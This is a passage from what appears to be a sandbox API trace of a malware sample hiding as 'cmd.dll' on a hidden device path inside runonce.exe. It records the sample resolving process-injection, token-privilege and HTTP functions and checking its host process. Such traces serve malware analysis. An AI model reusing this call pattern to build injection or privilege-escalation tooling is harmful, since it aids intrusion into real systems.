IoIs32bitProcess (Irp=0x0) returned 1 [0093.104] KeInitializeEvent (in: Event=0xfffffa8003891050, Type=0x0, State=0 | out: Event=0xfffffa8003891050) [0093.105] ExQueueWorkItem (in: WorkItem=0xfffffa8003891010*(List.Flink=0x0, List.Blink=0xfffff80002a5f030, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003891010), QueueType=0x1 | out: WorkItem=0xfffffa8003891010*(List.Flink=0x0, List.Blink=0xfffff80002a5f030, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003891010)) [0093.135] KeWaitForMutexObject () returned 0x0 [0093.325] ExFreePoolWithTag (P=0xfffffa8003891010, Tag=0x0) [0093.335] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.593] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.600] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.615] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.622] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.631] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.637] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.638] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880039da000 [0093.638] IdePortDispatch () returned 0x103 [0093.643] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.651] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.661] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.661] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.669] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.677] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.705] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0093.723] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\shell32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0094.926] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0094.930] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0094.963] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b91000 [0094.963] IdePortDispatch () returned 0x103 [0094.964] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc3000 [0094.964] IdePortDispatch () returned 0x103 [0094.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc4000 [0094.965] IdePortDispatch () returned 0x103 [0094.965] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000bc5000 [0094.965] IdePortDispatch () returned 0x103 [0095.049] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d43000 [0095.049] IdePortDispatch () returned 0x103 [0095.050] LoadLibraryExA (lpLibFileName="KERNEL32.DLL", hFile=0x0, dwFlags=0x0) returned 0x76300000 [0095.088] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0095.088] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0095.088] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0095.088] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0095.088] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0095.088] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x772d0000 [0095.088] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0095.089] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x77920000 [0095.089] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.089] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003559000 [0095.090] IdePortDispatch () returned 0x103 [0095.285] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003524000 [0095.285] IdePortDispatch () returned 0x103 [0095.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003525000 [0095.286] IdePortDispatch () returned 0x103 [0095.286] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003531000 [0095.286] IdePortDispatch () returned 0x103 [0095.293] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0095.293] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77e30000 [0095.293] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0095.293] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x75d60000 [0095.293] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0095.293] LoadLibraryExA (lpLibFileName="SHELL32.dll", hFile=0x0, dwFlags=0x0) returned 0x76610000 [0095.293] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0095.298] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x76210000 [0095.298] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0095.298] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x75a80000 [0095.299] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0095.299] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x75ec0000 [0095.299] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.308] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.318] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.327] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.337] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.337] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.592] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0095.592] LoadLibraryA (lpLibFileName="KERNEL32.DLL") returned 0x76300000 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="SetEndOfFile") returned 0x7632ce2e [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="SetEvent") returned 0x763116c5 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcessId") returned 0x763111f8 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="SuspendThread") returned 0x76337d7e [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="OpenThread") returned 0x76321248 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="SystemTimeToFileTime") returned 0x76315a7e [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetVersionExA") returned 0x76313519 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetLocaleInfoA") returned 0x7632d5e5 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentProcess") returned 0x76311809 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetWindowsDirectoryA") returned 0x76332b0a [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="WinExec") returned 0x76392c21 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="GetCommandLineA") returned 0x763151a1 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="SetUnhandledExceptionFilter") returned 0x763187c9 [0095.593] GetProcAddress (hModule=0x76300000, lpProcName="LocalFree") returned 0x76312d3c [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="SetWaitableTimer") returned 0x7633bb2f [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="CreateWaitableTimerA") returned 0x76394c24 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="CreateThread") returned 0x763134d5 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="CopyFileA") returned 0x763358e5 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="FileTimeToSystemTime") returned 0x7631542c [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="VirtualProtect") returned 0x7631435f [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="UnmapViewOfFile") returned 0x76311826 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="MapViewOfFile") returned 0x763118f1 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileMappingA") returned 0x76315506 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleHandleA") returned 0x76311245 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="RemoveDirectoryA") returned 0x763944bf [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="DeleteFileA") returned 0x76315444 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="CreateDirectoryA") returned 0x7633d526 [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="GetTempPathA") returned 0x7633276c [0095.594] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemTimeAsFileTime") returned 0x76313509 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadPriority") returned 0x763132bb [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="WideCharToMultiByte") returned 0x7631170d [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="MultiByteToWideChar") returned 0x7631192e [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="GetTickCount") returned 0x7631110c [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="GetCurrentThreadId") returned 0x76311450 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="GetSystemInfo") returned 0x763149ca [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="QueueUserWorkItem") returned 0x7632ca80 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="Sleep") returned 0x763110ff [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="TerminateProcess") returned 0x7632d802 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="ResumeThread") returned 0x763143ef [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="SetThreadContext") returned 0x76395393 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="GetThreadContext") returned 0x763379d4 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="WriteProcessMemory") returned 0x7632d9e0 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAllocEx") returned 0x7632d9b0 [0095.595] GetProcAddress (hModule=0x76300000, lpProcName="CreateProcessA") returned 0x76311072 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFreeEx") returned 0x7632d9c8 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="LoadLibraryA") returned 0x763149d7 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="ExitProcess") returned 0x76317a10 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="FindClose") returned 0x76314442 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="FindNextFileA") returned 0x7633d53e [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="FindFirstFileA") returned 0x7631e2ce [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="SetFilePointer") returned 0x763117d1 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="GetModuleFileNameA") returned 0x763114b1 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="LeaveCriticalSection") returned 0x77e52270 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="EnterCriticalSection") returned 0x77e522b0 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="InitializeCriticalSection") returned 0x77e62c42 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="FlushFileBuffers") returned 0x7631469b [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="WriteFile") returned 0x76311282 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="ReadFile") returned 0x76313ed3 [0095.596] GetProcAddress (hModule=0x76300000, lpProcName="CloseHandle") returned 0x76311410 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="GetFileSize") returned 0x7631196e [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="CreateFileA") returned 0x763153c6 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileSectionA") returned 0x7638a0b5 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileIntA") returned 0x7633cdd7 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="GetPrivateProfileStringA") returned 0x7632184c [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="WritePrivateProfileStringA") returned 0x76337048 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="HeapCreate") returned 0x76314a2d [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="HeapDestroy") returned 0x763135b7 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="HeapAlloc") returned 0x77e5e026 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="HeapReAlloc") returned 0x77e71f6e [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="HeapFree") returned 0x763114c9 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="VirtualAlloc") returned 0x76311856 [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="VirtualFree") returned 0x7631186e [0095.597] GetProcAddress (hModule=0x76300000, lpProcName="GetProcAddress") returned 0x76311222 [0095.598] GetProcAddress (hModule=0x76300000, lpProcName="CreateMutexA") returned 0x76314c6b [0095.598] GetProcAddress (hModule=0x76300000, lpProcName="GetLastError") returned 0x763111c0 [0095.598] GetProcAddress (hModule=0x76300000, lpProcName="WaitForSingleObject") returned 0x76311136 [0095.598] GetProcAddress (hModule=0x76300000, lpProcName="ReleaseMutex") returned 0x7631111e [0095.598] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x772d0000 [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x772e1f59 [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="SetSecurityInfo") returned 0x772d9edf [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="GetSecurityDescriptorSacl") returned 0x772e4608 [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="CreateProcessAsUserA") returned 0x77312538 [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="AdjustTokenPrivileges") returned 0x772e418e [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="LookupPrivilegeValueA") returned 0x772e404a [0095.598] GetProcAddress (hModule=0x772d0000, lpProcName="OpenProcessToken") returned 0x772e4304 [0095.598] LoadLibraryA (lpLibFileName="imagehlp.dll") returned 0x77920000 [0095.599] GetProcAddress (hModule=0x77920000, lpProcName="MapFileAndCheckSumA") returned 0x779283f7 [0095.599] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77e30000 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwQuerySystemInformation") returned 0x77e4fda0 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwSetInformationToken") returned 0x77e51a78 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwDuplicateToken") returned 0x77e4fec8 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwClose") returned 0x77e4f9d0 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77e4feb0 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="ZwOpenProcessToken") returned 0x77e510b0 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="qsort") returned 0x77f05191 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="swprintf") returned 0x77f0550d [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsnicmp") returned 0x77e5f63b [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="_wcsicmp") returned 0x77e69337 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="strstr") returned 0x77eac780 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="atol") returned 0x77e7d300 [0095.599] GetProcAddress (hModule=0x77e30000, lpProcName="sprintf") returned 0x77f053c3 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="strncat") returned 0x77eac570 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="strchr") returned 0x77e69c70 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="strrchr") returned 0x77eac700 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="ispunct") returned 0x77f043f3 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="isalnum") returned 0x77f04418 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="strncpy") returned 0x77ea5c30 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="RtlComputeCrc32") returned 0x77eeffc1 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="_snprintf") returned 0x77f04760 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEqualUnicodeString") returned 0x77e5e7f3 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="_stricmp") returned 0x77e6c7b9 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="_snwprintf") returned 0x77e62417 [0095.600] GetProcAddress (hModule=0x77e30000, lpProcName="sscanf") returned 0x77f054a7 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="ZwFreeVirtualMemory") returned 0x77e4fb48 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="ZwAllocateVirtualMemory") returned 0x77e4fab0 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageNtHeader") returned 0x77e63164 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77e5f546 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="ZwContinue") returned 0x77e4fee0 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInsertElementGenericTable") returned 0x77e7939a [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlDeleteElementGenericTable") returned 0x77e7a168 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlLookupElementGenericTable") returned 0x77e7a104 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlRandom") returned 0x77ef98c3 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="strpbrk") returned 0x77eac6c0 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="strncmp") returned 0x77e92f65 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="_strnicmp") returned 0x77e8c27c [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="_strlwr") returned 0x77f04a48 [0095.601] GetProcAddress (hModule=0x77e30000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77e7c4ca [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="RtlInitializeGenericTable") returned 0x77e6ff97 [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="RtlEnumerateGenericTable") returned 0x77ef2a56 [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="memset") returned 0x77e5df20 [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="memcpy") returned 0x77e52340 [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="atoi") returned 0x77e7d2f3 [0095.602] GetProcAddress (hModule=0x77e30000, lpProcName="_allmul") returned 0x77e72760 [0095.602] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x75d60000 [0095.602] GetProcAddress (hModule=0x75d60000, lpProcName="CoUninitialize") returned 0x75da86d3 [0095.602] GetProcAddress (hModule=0x75d60000, lpProcName="CoInitializeEx") returned 0x75da09ad [0095.602] GetProcAddress (hModule=0x75d60000, lpProcName="CoCreateInstance") returned 0x75da9d0b [0095.602] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76610000 [0095.602] GetProcAddress (hModule=0x76610000, lpProcName="SHGetSpecialFolderPathA") returned 0x7685fb26 [0095.602] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76210000 [0095.602] GetProcAddress (hModule=0x76210000, lpProcName="StrStrA") returned 0x7623c45b [0095.602] GetProcAddress (hModule=0x76210000, lpProcName="PathMatchSpecA") returned 0x7624af13 [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveBackslashA") returned 0x76248d1a [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathFindExtensionA") returned 0x7623eced [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="SHGetValueA") returned 0x7621cf09 [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="SHEnumKeyExA") returned 0x7624fdb6 [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="SHSetValueA") returned 0x7624b0ef [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathFindFileNameA") returned 0x762200aa [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIW") returned 0x762246e9 [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathFileExistsA") returned 0x7624ad1a [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathAppendA") returned 0x7621d65e [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathRemoveFileSpecA") returned 0x7623e20b [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="PathAddBackslashA") returned 0x7621cf33 [0095.603] GetProcAddress (hModule=0x76210000, lpProcName="StrStrIA") returned 0x7621d250 [0095.603] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75a80000 [0095.603] GetProcAddress (hModule=0x75a80000, lpProcName="SetTimer") returned 0x75a979fb [0095.603] GetProcAddress (hModule=0x75a80000, lpProcName="DestroyWindow") returned 0x75a99a55 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="GetClientRect") returned 0x75aa0c62 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="ChildWindowFromPoint") returned 0x75ad8cf0 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="ClientToScreen") returned 0x75aa2606 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="ScreenToClient") returned 0x75aa227d [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="PostMessageW") returned 0x75aa12a5 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="CreateWindowExW") returned 0x75a98a29 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="GetMessageW") returned 0x75a978e2 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="TranslateMessage") returned 0x75a97809 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="DispatchMessageW") returned 0x75a9787b [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="KillTimer") returned 0x75a979db [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="SetWindowLongW") returned 0x75a98332 [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="GetWindowLongW") returned 0x75a96ffe [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="PostQuitMessage") returned 0x75a99abb [0095.604] GetProcAddress (hModule=0x75a80000, lpProcName="DefWindowProcW") returned 0x77e625dd [0095.605] GetProcAddress (hModule=0x75a80000, lpProcName="FindWindowW") returned 0x75a998fd [0095.605] GetProcAddress (hModule=0x75a80000, lpProcName="ExitWindowsEx") returned 0x75ae1497 [0095.605] GetProcAddress (hModule=0x75a80000, lpProcName="RegisterClassExW") returned 0x75a9b17d [0095.605] GetProcAddress (hModule=0x75a80000, lpProcName="GetSystemMetrics") returned 0x75a97d2f [0095.605] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75ec0000 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCloseHandle") returned 0x75edab49 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetOpenA") returned 0x75eef18e [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetConnectA") returned 0x75ee49e9 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpOpenRequestA") returned 0x75ee4c7d [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpSendRequestA") returned 0x75f518f8 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetQueryOptionW") returned 0x75ed7ed7 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetSetOptionW") returned 0x75ed7741 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="HttpQueryInfoW") returned 0x75ee5c75 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetReadFile") returned 0x75edb406 [0095.605] GetProcAddress (hModule=0x75ec0000, lpProcName="InternetCrackUrlA") returned 0x75ecd075 [0095.605] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x4, lpflOldProtect=0xaf904 | out: lpflOldProtect=0xaf904*=0x40) returned 1 [0095.606] VirtualProtect (in: lpAddress=0x10000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xaf904 | out: lpflOldProtect=0xaf904*=0x4) returned 1 [0095.611] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0095.611] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x250a0, nSize=0x3ff | out: lpFilename="C:\\Windows\\SysWOW64\\runonce.exe") returned 0x1f [0095.612] PathFindFileNameA (pszPath="C:\\Windows\\SysWOW64\\runonce.exe") returned="runonce.exe" [0095.612] GetCommandLineA () returned="C:\\Windows\\SysWOW64\\runonce.exe /Run6432" [0095.612] _strcmpi (_Str1="runonce.exe", _Str2="svchost.exe") returned -1 